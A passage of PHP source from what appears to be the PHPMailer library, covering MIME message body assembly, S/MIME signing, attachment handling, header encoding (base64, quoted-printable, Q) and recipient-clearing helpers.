3171 if (!empty($this->Ical)) {
3172 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
3173 $body .= $this->encodeString($this->Ical, $this->Encoding);
3174 $body .= $this->LE . $this->LE;
3175 }
3176 $body .= $this->endBoundary($this->boundary[1]);
3177 break;
3178 case 'alt_inline':
3179 $body .= $mimepre;
3180 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3181 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3182 $body .= $this->LE . $this->LE;
3183 $body .= $this->textLine('--' . $this->boundary[1]);
3184 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3185 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3186 $body .= $this->LE;
3187 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
3188 $body .= $this->encodeString($this->Body, $bodyEncoding);
3189 $body .= $this->LE . $this->LE;
3190 $body .= $this->attachAll('inline', $this->boundary[2]);
3191 $body .= $this->LE;
3192 $body .= $this->endBoundary($this->boundary[1]);
3193 break;
3194 case 'alt_attach':
3195 $body .= $mimepre;
3196 $body .= $this->textLine('--' . $this->boundary[1]);
3197 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
3198 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3199 $body .= $this->LE;
3200 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3201 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3202 $body .= $this->LE . $this->LE;
3203 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
3204 $body .= $this->encodeString($this->Body, $bodyEncoding);
3205 $body .= $this->LE . $this->LE;
3206 $body .= $this->endBoundary($this->boundary[2]);
3207 $body .= $this->LE;
3208 $body .= $this->attachAll('attachment', $this->boundary[1]);
3209 break;
3210 case 'alt_inline_attach':
3211 $body .= $mimepre;
3212 $body .= $this->textLine('--' . $this->boundary[1]);
3213 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
3214 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3215 $body .= $this->LE;
3216 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3217 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3218 $body .= $this->LE . $this->LE;
3219 $body .= $this->textLine('--' . $this->boundary[2]);
3220 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3221 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
3222 $body .= $this->LE;
3223 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
3224 $body .= $this->encodeString($this->Body, $bodyEncoding);
3225 $body .= $this->LE . $this->LE;
3226 $body .= $this->attachAll('inline', $this->boundary[3]);
3227 $body .= $this->LE;
3228 $body .= $this->endBoundary($this->boundary[2]);
3229 $body .= $this->LE;
3230 $body .= $this->attachAll('attachment', $this->boundary[1]);
3231 break;
3232 default:
3233 // catch case 'plain' and case ''
3234 $body .= $this->encodeString($this->Body, $bodyEncoding);
3235 break;
3236 }
3237
3238 if ($this->isError()) {
3239 $body = '';
3240 } elseif ($this->sign_key_file) {
3241 try {
3242 if (!defined('PKCS7_TEXT')) {
3243 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
3244 }
3245 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
3246 $file = tempnam(sys_get_temp_dir(), 'mail');
3247 if (false === file_put_contents($file, $body)) {
3248 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
3249 }
3250 $signed = tempnam(sys_get_temp_dir(), 'signed');
3251 //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
3252 if (empty($this->sign_extracerts_file)) {
3253 $sign = @openssl_pkcs7_sign(
3254 $file,
3255 $signed,
3256 'file://' . realpath($this->sign_cert_file),
3257 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
3258 null
3259 );
3260 } else {
3261 $sign = @openssl_pkcs7_sign(
3262 $file,
3263 $signed,
3264 'file://' . realpath($this->sign_cert_file),
3265 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
3266 null,
3267 PKCS7_DETACHED,
3268 $this->sign_extracerts_file
3269 );
3270 }
3271 if ($sign) {
3272 @unlink($file);
3273 $body = file_get_contents($signed);
3274 @unlink($signed);
3275 //The message returned by openssl contains both headers and body, so need to split them up
3276 $parts = explode("\n\n", $body, 2);
3277 $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
3278 $body = $parts[1];
3279 } else {
3280 @unlink($file);
3281 @unlink($signed);
3282 throw new phpmailerException($this->lang('signing') . openssl_error_string());
3283 }
3284 } catch (phpmailerException $exc) {
3285 $body = '';
3286 if ($this->exceptions) {
3287 throw $exc;
3288 }
3289 }
3290 }
3291 return $body;
3292 }
3293
3294 /**
3295 * Return the start of a message boundary.
3296 * @access protected
3297 * @param string $boundary
3298 * @param string $charSet
3299 * @param string $contentType
3300 * @param string $encoding
3301 * @return string
3302 */
3303 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
3304 {
3305 $result = '';
3306 if ($charSet == '') {
3307 $charSet = $this->CharSet;
3308 }
3309 if ($contentType == '') {
3310 $contentType = $this->ContentType;
3311 }
3312 if ($encoding == '') {
3313 $encoding = $this->Encoding;
3314 }
3315 $result .= $this->textLine('--' . $boundary);
3316 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
3317 $result .= $this->LE;
3318 // RFC1341 part 5 says 7bit is assumed if not specified
3319 if ($encoding != '7bit') {
3320 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
3321 }
3322 $result .= $this->LE;
3323
3324 return $result;
3325 }
3326
3327 /**
3328 * Return the end of a message boundary.
3329 * @access protected
3330 * @param string $boundary
3331 * @return string
3332 */
3333 protected function endBoundary($boundary)
3334 {
3335 return $this->LE . '--' . $boundary . '--' . $this->LE;
3336 }
3337
3338 /**
3339 * Set the message type.
3340 * PHPMailer only supports some preset message types,
3341 * not arbitrary MIME structures.
3342 * @access protected
3343 * @return void
3344 */
3345 protected function setMessageType()
3346 {
3347 $type = array();
3348 if ($this->alternativeExists()) {
3349 $type[] = 'alt';
3350 }
3351 if ($this->inlineImageExists()) {
3352 $type[] = 'inline';
3353 }
3354 if ($this->attachmentExists()) {
3355 $type[] = 'attach';
3356 }
3357 $this->message_type = implode('_', $type);
3358 if ($this->message_type == '') {
3359 $this->message_type = 'plain';
3360 }
3361 }
3362
3363 /**
3364 * Format a header line.
3365 * @access public
3366 * @param string $name
3367 * @param string $value
3368 * @return string
3369 */
3370 public function headerLine($name, $value)
3371 {
3372 return $name . ': ' . $value . $this->LE;
3373 }
3374
3375 /**
3376 * Return a formatted mail line.
3377 * @access public
3378 * @param string $value
3379 * @return string
3380 */
3381 public function textLine($value)
3382 {
3383 return $value . $this->LE;
3384 }
3385
3386 /**
3387 * Add an attachment from a path on the filesystem.
3388 * Returns false if the file could not be found or read.
3389 * @param string $path Path to the attachment.
3390 * @param string $name Overrides the attachment name.
3391 * @param string $encoding File encoding (see $Encoding).
3392 * @param string $type File extension (MIME) type.
3393 * @param string $disposition Disposition to use
3394 * @throws phpmailerException
3395 * @return boolean
3396 */
3397 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
3398 {
3399 try {
3400 if (!@is_file($path)) {
3401 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
3402 }
3403
3404 // If a MIME type is not specified, try to work it out from the file name
3405 if ($type == '') {
3406 $type = self::filenameToType($path);
3407 }
3408
3409 $filename = basename($path);
3410 if ($name == '') {
3411 $name = $filename;
3412 }
3413
3414 $this->attachment[] = array(
3415 0 => $path,
3416 1 => $filename,
3417 2 => $name,
3418 3 => $encoding,
3419 4 => $type,
3420 5 => false, // isStringAttachment
3421 6 => $disposition,
3422 7 => 0
3423 );
3424
3425 } catch (phpmailerException $exc) {
3426 $this->setError($exc->getMessage());
3427 $this->edebug($exc->getMessage());
3428 if ($this->exceptions) {
3429 throw $exc;
3430 }
3431 return false;
3432 }
3433 return true;
3434 }
3435
3436 /**
3437 * Return the array of attachments.
3438 * @return array
3439 */
3440 public function getAttachments()
3441 {
3442 return $this->attachment;
3443 }
3444
3445 /**
3446 * Attach all file, string, and binary attachments to the message.
3447 * Returns an empty string on failure.
3448 * @access protected
3449 * @param string $disposition_type
3450 * @param string $boundary
3451 * @return string
3452 */
3453 protected function attachAll($disposition_type, $boundary)
3454 {
3455 // Return text of body
3456 $mime = array();
3457 $cidUniq = array();
3458 $incl = array();
3459
3460 // Add all attachments
3461 foreach ($this->attachment as $attachment) {
3462 // Check if it is a valid disposition_filter
3463 if ($attachment[6] == $disposition_type) {
3464 // Check for string attachment
3465 $string = '';
3466 $path = '';
3467 $bString = $attachment[5];
3468 if ($bString) {
3469 $string = $attachment[0];
3470 } else {
3471 $path = $attachment[0];
3472 }
3473
3474 $inclhash = md5(serialize($attachment));
3475 if (in_array($inclhash, $incl)) {
3476 continue;
3477 }
3478 $incl[] = $inclhash;
3479 $name = $attachment[2];
3480 $encoding = $attachment[3];
3481 $type = $attachment[4];
3482 $disposition = $attachment[6];
3483 $cid = $attachment[7];
3484 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
3485 continue;
3486 }
3487 $cidUniq[$cid] = true;
3488
3489 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
3490 $mime[] = sprintf(
3491 'Content-Type: %s; name="%s"%s',
3492 $type,
3493 $this->encodeHeader($this->secureHeader($name)),
3494 $this->LE
3495 );
3496 // RFC1341 part 5 says 7bit is assumed if not specified
3497 if ($encoding != '7bit') {
3498 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
3499 }
3500
3501 if ($disposition == 'inline') {
3502 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
3503 }
3504
3505 // If a filename contains any of these chars, it should be quoted,
3506 // but not otherwise: RFC2183 & RFC2045 5.1
3507 // Fixes a warning in IETF's msglint MIME checker
3508 // Allow for bypassing the Content-Disposition header totally
3509 if (!(empty($disposition))) {
3510 $encoded_name = $this->encodeHeader($this->secureHeader($name));
3511 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
3512 $mime[] = sprintf(
3513 'Content-Disposition: %s; filename="%s"%s',
3514 $disposition,
3515 $encoded_name,
3516 $this->LE . $this->LE
3517 );
3518 } else {
3519 $mime[] = sprintf(
3520 'Content-Disposition: %s; filename=%s%s',
3521 $disposition,
3522 $encoded_name,
3523 $this->LE . $this->LE
3524 );
3525 }
3526 } else {
3527 $mime[] = $this->LE;
3528 }
3529
3530 // Encode as string attachment
3531 if ($bString) {
3532 $mime[] = $this->encodeString($string, $encoding);
3533 if ($this->isError()) {
3534 return '';
3535 }
3536 $mime[] = $this->LE . $this->LE;
3537 } else {
3538 $mime[] = $this->encodeFile($path, $encoding);
3539 if ($this->isError()) {
3540 return '';
3541 }
3542 $mime[] = $this->LE . $this->LE;
3543 }
3544 }
3545 }
3546
3547 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
3548
3549 return implode('', $mime);
3550 }
3551
3552 /**
3553 * Encode a file attachment in requested format.
3554 * Returns an empty string on failure.
3555 * @param string $path The full path to the file
3556 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3557 * @throws phpmailerException
3558 * @see EncodeFile(encodeFile
3559 * @access protected
3560 * @return string
3561 */
3562 protected function encodeFile($path, $encoding = 'base64')
3563 {
3564 try {
3565 if (!is_readable($path)) {
3566 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
3567 }
3568 $magic_quotes = get_magic_quotes_runtime();
3569 if ($magic_quotes) {
3570 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3571 set_magic_quotes_runtime(false);
3572 } else {
3573 //Doesn't exist in PHP 5.4, but we don't need to check because
3574 //get_magic_quotes_runtime always returns false in 5.4+
3575 //so it will never get here
3576 ini_set('magic_quotes_runtime', false);
3577 }
3578 }
3579 $file_buffer = file_get_contents($path);
3580 $file_buffer = $this->encodeString($file_buffer, $encoding);
3581 if ($magic_quotes) {
3582 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3583 set_magic_quotes_runtime($magic_quotes);
3584 } else {
3585 ini_set('magic_quotes_runtime', $magic_quotes);
3586 }
3587 }
3588 return $file_buffer;
3589 } catch (Exception $exc) {
3590 $this->setError($exc->getMessage());
3591 return '';
3592 }
3593 }
3594
3595 /**
3596 * Encode a string in requested format.
3597 * Returns an empty string on failure.
3598 * @param string $str The text to encode
3599 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3600 * @access public
3601 * @return string
3602 */
3603 public function encodeString($str, $encoding = 'base64')
3604 {
3605 $encoded = '';
3606 switch (strtolower($encoding)) {
3607 case 'base64':
3608 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
3609 break;
3610 case '7bit':
3611 case '8bit':
3612 $encoded = $this->fixEOL($str);
3613 // Make sure it ends with a line break
3614 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
3615 $encoded .= $this->LE;
3616 }
3617 break;
3618 case 'binary':
3619 $encoded = $str;
3620 break;
3621 case 'quoted-printable':
3622 $encoded = $this->encodeQP($str);
3623 break;
3624 default:
3625 $this->setError($this->lang('encoding') . $encoding);
3626 break;
3627 }
3628 return $encoded;
3629 }
3630
3631 /**
3632 * Encode a header string optimally.
3633 * Picks shortest of Q, B, quoted-printable or none.
3634 * @access public
3635 * @param string $str
3636 * @param string $position
3637 * @return string
3638 */
3639 public function encodeHeader($str, $position = 'text')
3640 {
3641 $matchcount = 0;
3642 switch (strtolower($position)) {
3643 case 'phrase':
3644 if (!preg_match('/[\200-\377]/', $str)) {
3645 // Can't use addslashes as we don't know the value of magic_quotes_sybase
3646 $encoded = addcslashes($str, "\0..\37\177\\\"");
3647 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
3648 return ($encoded);
3649 } else {
3650 return ("\"$encoded\"");
3651 }
3652 }
3653 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
3654 break;
3655 /** @noinspection PhpMissingBreakStatementInspection */
3656 case 'comment':
3657 $matchcount = preg_match_all('/[()"]/', $str, $matches);
3658 // Intentional fall-through
3659 case 'text':
3660 default:
3661 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
3662 break;
3663 }
3664
3665 //There are no chars that need encoding
3666 if ($matchcount == 0) {
3667 return ($str);
3668 }
3669
3670 $maxlen = 75 - 7 - strlen($this->CharSet);
3671 // Try to select the encoding which should produce the shortest output
3672 if ($matchcount > strlen($str) / 3) {
3673 // More than a third of the content will need encoding, so B encoding will be most efficient
3674 $encoding = 'B';
3675 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
3676 // Use a custom function which correctly encodes and wraps long
3677 // multibyte strings without breaking lines within a character
3678 $encoded = $this->base64EncodeWrapMB($str, "\n");
3679 } else {
3680 $encoded = base64_encode($str);
3681 $maxlen -= $maxlen % 4;
3682 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
3683 }
3684 } else {
3685 $encoding = 'Q';
3686 $encoded = $this->encodeQ($str, $position);
3687 $encoded = $this->wrapText($encoded, $maxlen, true);
3688 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
3689 }
3690
3691 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
3692 $encoded = trim(str_replace("\n", $this->LE, $encoded));
3693
3694 return $encoded;
3695 }
3696
3697 /**
3698 * Check if a string contains multi-byte characters.
3699 * @access public
3700 * @param string $str multi-byte text to wrap encode
3701 * @return boolean
3702 */
3703 public function hasMultiBytes($str)
3704 {
3705 if (function_exists('mb_strlen')) {
3706 return (strlen($str) > mb_strlen($str, $this->CharSet));
3707 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
3708 return false;
3709 }
3710 }
3711
3712 /**
3713 * Does a string contain any 8-bit chars (in any charset)?
3714 * @param string $text
3715 * @return boolean
3716 */
3717 public function has8bitChars($text)
3718 {
3719 return (boolean)preg_match('/[\x80-\xFF]/', $text);
3720 }
3721
3722 /**
3723 * Encode and wrap long multibyte strings for mail headers
3724 * without breaking lines within a character.
3725 * Adapted from a function by paravoid
3726 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
3727 * @access public
3728 * @param string $str multi-byte text to wrap encode
3729 * @param string $linebreak string to use as linefeed/end-of-line
3730 * @return string
3731 */
3732 public function base64EncodeWrapMB($str, $linebreak = null)
3733 {
3734 $start = '=?' . $this->CharSet . '?B?';
3735 $end = '?=';
3736 $encoded = '';
3737 if ($linebreak === null) {
3738 $linebreak = $this->LE;
3739 }
3740
3741 $mb_length = mb_strlen($str, $this->CharSet);
3742 // Each line must have length <= 75, including $start and $end
3743 $length = 75 - strlen($start) - strlen($end);
3744 // Average multi-byte ratio
3745 $ratio = $mb_length / strlen($str);
3746 // Base64 has a 4:3 ratio
3747 $avgLength = floor($length * $ratio * .75);
3748
3749 for ($i = 0; $i < $mb_length; $i += $offset) {
3750 $lookBack = 0;
3751 do {
3752 $offset = $avgLength - $lookBack;
3753 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
3754 $chunk = base64_encode($chunk);
3755 $lookBack++;
3756 } while (strlen($chunk) > $length);
3757 $encoded .= $chunk . $linebreak;
3758 }
3759
3760 // Chomp the last linefeed
3761 $encoded = substr($encoded, 0, -strlen($linebreak));
3762 return $encoded;
3763 }
3764
3765 /**
3766 * Encode a string in quoted-printable format.
3767 * According to RFC2045 section 6.7.
3768 * @access public
3769 * @param string $string The text to encode
3770 * @param integer $line_max Number of chars allowed on a line before wrapping
3771 * @return string
3772 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
3773 */
3774 public function encodeQP($string, $line_max = 76)
3775 {
3776 // Use native function if it's available (>= PHP5.3)
3777 if (function_exists('quoted_printable_encode')) {
3778 return $this->fixEOL(quoted_printable_encode($string));
3779 }
3780 // Fall back to a pure PHP implementation
3781 $string = str_replace(
3782 array('%20', '%0D%0A.', '%0D%0A', '%'),
3783 array(' ', "\r\n=2E", "\r\n", '='),
3784 rawurlencode($string)
3785 );
3786 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
3787 return $this->fixEOL($string);
3788 }
3789
3790 /**
3791 * Backward compatibility wrapper for an old QP encoding function that was removed.
3792 * @see PHPMailer::encodeQP()
3793 * @access public
3794 * @param string $string
3795 * @param integer $line_max
3796 * @param boolean $space_conv
3797 * @return string
3798 * @deprecated Use encodeQP instead.
3799 */
3800 public function encodeQPphp(
3801 $string,
3802 $line_max = 76,
3803 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
3804 ) {
3805 return $this->encodeQP($string, $line_max);
3806 }
3807
3808 /**
3809 * Encode a string using Q encoding.
3810 * @link http://tools.ietf.org/html/rfc2047
3811 * @param string $str the text to encode
3812 * @param string $position Where the text is going to be used, see the RFC for what that means
3813 * @access public
3814 * @return string
3815 */
3816 public function encodeQ($str, $position = 'text')
3817 {
3818 // There should not be any EOL in the string
3819 $pattern = '';
3820 $encoded = str_replace(array("\r", "\n"), '', $str);
3821 switch (strtolower($position)) {
3822 case 'phrase':
3823 // RFC 2047 section 5.3
3824 $pattern = '^A-Za-z0-9!*+\/ -';
3825 break;
3826 /** @noinspection PhpMissingBreakStatementInspection */
3827 case 'comment':
3828 // RFC 2047 section 5.2
3829 $pattern = '\(\)"';
3830 // intentional fall-through
3831 // for this reason we build the $pattern without including delimiters and []
3832 case 'text':
3833 default:
3834 // RFC 2047 section 5.1
3835 // Replace every high ascii, control, =, ? and _ characters
3836 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
3837 break;
3838 }
3839 $matches = array();
3840 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
3841 // If the string contains an '=', make sure it's the first thing we replace
3842 // so as to avoid double-encoding
3843 $eqkey = array_search('=', $matches[0]);
3844 if (false !== $eqkey) {
3845 unset($matches[0][$eqkey]);
3846 array_unshift($matches[0], '=');
3847 }
3848 foreach (array_unique($matches[0]) as $char) {
3849 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
3850 }
3851 }
3852 // Replace every spaces to _ (more readable than =20)
3853 return str_replace(' ', '_', $encoded);
3854 }
3855
3856
3857 /**
3858 * Add a string or binary attachment (non-filesystem).
3859 * This method can be used to attach ascii or binary data,
3860 * such as a BLOB record from a database.
3861 * @param string $string String attachment data.
3862 * @param string $filename Name of the attachment.
3863 * @param string $encoding File encoding (see $Encoding).
3864 * @param string $type File extension (MIME) type.
3865 * @param string $disposition Disposition to use
3866 * @return void
3867 */
3868 public function addStringAttachment(
3869 $string,
3870 $filename,
3871 $encoding = 'base64',
3872 $type = '',
3873 $disposition = 'attachment'
3874 ) {
3875 // If a MIME type is not specified, try to work it out from the file name
3876 if ($type == '') {
3877 $type = self::filenameToType($filename);
3878 }
3879 // Append to $attachment array
3880 $this->attachment[] = array(
3881 0 => $string,
3882 1 => $filename,
3883 2 => basename($filename),
3884 3 => $encoding,
3885 4 => $type,
3886 5 => true, // isStringAttachment
3887 6 => $disposition,
3888 7 => 0
3889 );
3890 }
3891
3892 /**
3893 * Add an embedded (inline) attachment from a file.
3894 * This can include images, sounds, and just about any other document type.
3895 * These differ from 'regular' attachments in that they are intended to be
3896 * displayed inline with the message, not just attached for download.
3897 * This is used in HTML messages that embed the images
3898 * the HTML refers to using the $cid value.
3899 * @param string $path Path to the attachment.
3900 * @param string $cid Content ID of the attachment; Use this to reference
3901 * the content when using an embedded image in HTML.
3902 * @param string $name Overrides the attachment name.
3903 * @param string $encoding File encoding (see $Encoding).
3904 * @param string $type File MIME type.
3905 * @param string $disposition Disposition to use
3906 * @return boolean True on successfully adding an attachment
3907 */
3908 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
3909 {
3910 if (!@is_file($path)) {
3911 $this->setError($this->lang('file_access') . $path);
3912 return false;
3913 }
3914
3915 // If a MIME type is not specified, try to work it out from the file name
3916 if ($type == '') {
3917 $type = self::filenameToType($path);
3918 }
3919
3920 $filename = basename($path);
3921 if ($name == '') {
3922 $name = $filename;
3923 }
3924
3925 // Append to $attachment array
3926 $this->attachment[] = array(
3927 0 => $path,
3928 1 => $filename,
3929 2 => $name,
3930 3 => $encoding,
3931 4 => $type,
3932 5 => false, // isStringAttachment
3933 6 => $disposition,
3934 7 => $cid
3935 );
3936 return true;
3937 }
3938
3939 /**
3940 * Add an embedded stringified attachment.
3941 * This can include images, sounds, and just about any other document type.
3942 * Be sure to set the $type to an image type for images:
3943 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
3944 * @param string $string The attachment binary data.
3945 * @param string $cid Content ID of the attachment; Use this to reference
3946 * the content when using an embedded image in HTML.
3947 * @param string $name
3948 * @param string $encoding File encoding (see $Encoding).
3949 * @param string $type MIME type.
3950 * @param string $disposition Disposition to use
3951 * @return boolean True on successfully adding an attachment
3952 */
3953 public function addStringEmbeddedImage(
3954 $string,
3955 $cid,
3956 $name = '',
3957 $encoding = 'base64',
3958 $type = '',
3959 $disposition = 'inline'
3960 ) {
3961 // If a MIME type is not specified, try to work it out from the name
3962 if ($type == '') {
3963 $type = self::filenameToType($name);
3964 }
3965
3966 // Append to $attachment array
3967 $this->attachment[] = array(
3968 0 => $string,
3969 1 => $name,
3970 2 => $name,
3971 3 => $encoding,
3972 4 => $type,
3973 5 => true, // isStringAttachment
3974 6 => $disposition,
3975 7 => $cid
3976 );
3977 return true;
3978 }
3979
3980 /**
3981 * Check if an inline attachment is present.
3982 * @access public
3983 * @return boolean
3984 */
3985 public function inlineImageExists()
3986 {
3987 foreach ($this->attachment as $attachment) {
3988 if ($attachment[6] == 'inline') {
3989 return true;
3990 }
3991 }
3992 return false;
3993 }
3994
3995 /**
3996 * Check if an attachment (non-inline) is present.
3997 * @return boolean
3998 */
3999 public function attachmentExists()
4000 {
4001 foreach ($this->attachment as $attachment) {
4002 if ($attachment[6] == 'attachment') {
4003 return true;
4004 }
4005 }
4006 return false;
4007 }
4008
4009 /**
4010 * Check if this message has an alternative body set.
4011 * @return boolean
4012 */
4013 public function alternativeExists()
4014 {
4015 return !empty($this->AltBody);
4016 }
4017
4018 /**
4019 * Clear all To recipients.
4020 * @return void
4021 */
4022 public function clearAddresses()
4023 {
4024 foreach ($this->to as $to) {
4025 unset($this->all_recipients[strtolower($to[0])]);
4026 }
4027 $this->to = array();
4028 }
4029
4030 /**
4031 * Clear all CC recipients.
4032 * @return void
4033 */
4034 public function clearCCs()
4035 {
4036 foreach ($this->cc as $cc) {
4037 unset($this->all_recipients[strtolower($cc[0])]);
4038 }
4039 $this->cc = array();
4040 }
4041
4042 /**
4043 * Clear all BCC recipients.
4044 * @return void
4045 */
4046 public function clearBCCs()
4047 {
4048 foreach ($this->bcc as $bcc) {
4049 unset($this->all_recipients[strtolower($bcc[0])]);
4050 }
4051 $this->bcc = array();
4052 }
4053
4054 /**
4055 * Clear all ReplyTo recipients.
4056 * @return void
4057 */
4058 public function clearReplyTos()
4059 {
4060 $this->ReplyTo = array();
4061 }
4062
4063 /**
4064 * Clear all recipient types.
4065 * @return void
4066 */
4067 public function clearAllRecipients()
4068 {
4069 $this->to = array();
4070 $this->cc = array();
4071 $this->bcc = array();
4072 $this->all_recipients = array();
4073 }
4074
4075 /**
4076 * Clear all filesystem, string, and binary attachments.
4077 * @return void
4078 */
4079 public function clearAttachments()
4080 {
4081 $this->attachment = array();
4082 }
4083
4084 /**
4085 * Clear all custom headers.
4086 * @return void
4087 */
4088 public function clearCustomHeaders()
4089 {
4090 $this->CustomHeader = array();
4091 }
4092
4093 /**
4094 * Add an error message to the error container.
4095 * @access protected
4096 * @param string $msg
4097 * @return void
4098 */
4099 protected function setError($msg)
4100 {
4101 $this->error_count++;
4102 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
4103 $lasterror = $this->smtp->getError();
4104 if (!empty($lasterror['error'])) {
4105 $msg .= $this->lang('smtp_error') . $lasterror['error'];
4106 if (!empty($lasterror['detail'])) {
4107 $msg .= ' Detail: '. $lasterror['detail'];
4108 }
4109 if (!empty($lasterror['smtp_code'])) {
4110 $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
4111 }
4112 if (!empty($lasterror['smtp_code_ex'])) {
4113 $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
4114 }
4115 }
4116 }
4117 $this->ErrorInfo = $msg;
4118 }
4119
4120 /**
4121 * Return an RFC 822 formatted date.
4122 * @access public
4123 * @return string
4124 * @static
4125 */
4126 public static function rfcDate()
4127 {
4128 // Set the time zone to whatever the default is to avoid 500 errors
4129 // Will default to UTC if it's not set properly in php.ini
4130 date_default_timezone_set(@date_default_timezone_get());
4131 return date('D, j M Y H:i:s O');
4132 }
4133
4134 /**
4135 * Get the server hostname.
4136 * Returns 'localhost.localdomain' if unknown.
4137 * @access protected
4138 * @return string
4139 */
4140 protected function serverHostname()
4141 {
4142 $result = 'localhost.localdomain';
4143 if (!empty($this->Hostname)) {
4144 $result = $this->Hostname;
4145 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
4146 $result = $_SERVER['SERVER_NAME'];
4147 } elseif (function_exists('gethostname') && gethostname() !== false) {
4148 $result = gethostname();
4149 } elseif (php_uname('n') !== false) {
4150 $result = php_uname('n');
4151 }
4152 return $result;
4153 }
4154
4155 /**
4156 * Get an error message in the current language.
4157 * @access protected
4158 * @param string $key
4159 * @return string
4160 */
4161 protected function lang($key)
4162 {
4163 if (count($this->language) < 1) {
4164 $this->setLanguage('en'); // set the default language
4165 }
4166
4167 if (array_key_exists($key, $this->language)) {
4168 if ($key == 'smtp_connect_failed') {
4169 //Include a link to troubleshooting docs on SMTP connection failure
4170 //this is by far the biggest cause of support questions
4171 //but it's usually not PHPMailer's fault.
4172 return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
4173 }
4174 return $this->language[$key];
4175 } else {
4176 //Return the key as a fallback
4177 return $key;
4178 }
4179 }
4180
4181 /**
4182 * Check if an error occurred.
4183 * @access public
4184 * @return boolean True if an error did occur.
4185 */
4186 public function isError()
4187 {
4188 return ($this->error_count > 0);
4189 }
4190
4191 /**
4192 * Ensure consistent line endings in a string.
4193 * Changes every end of line from CRLF, CR or LF to $this->LE.
4194 * @access public
4195 * @param string $str String to fixEOL
4196 * @return string
4197 */
4198 public function fixEOL($str)
4199 {
4200 // Normalise to \n
4201 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
4202 // Now convert LE as needed
4203 if ($this->LE !== "\n") {
4204 $nstr = str_replace("\n", $this->LE, $nstr);
4205 }
4206 return $nstr;
4207 }
4208
4209 /**
4210 * Add a custom header.
4211 * $name value can be overloaded to contain
4212 * both header name and value (name:value)
4213 * @access public
4214 * @param string $name Custom header name
4215 * @param string $value Header value
4216 * @return void
4217 */
4218 public function addCustomHeader($name, $value = null)
4219 {
4220 if ($value === null) {
4221 // Value passed in as name:value
4222 $this->CustomHeader[] = explode(':', $name, 2);
4223 } else {
4224 $this->CustomHeader[] = array($name, $value);
4225 }
4226 }
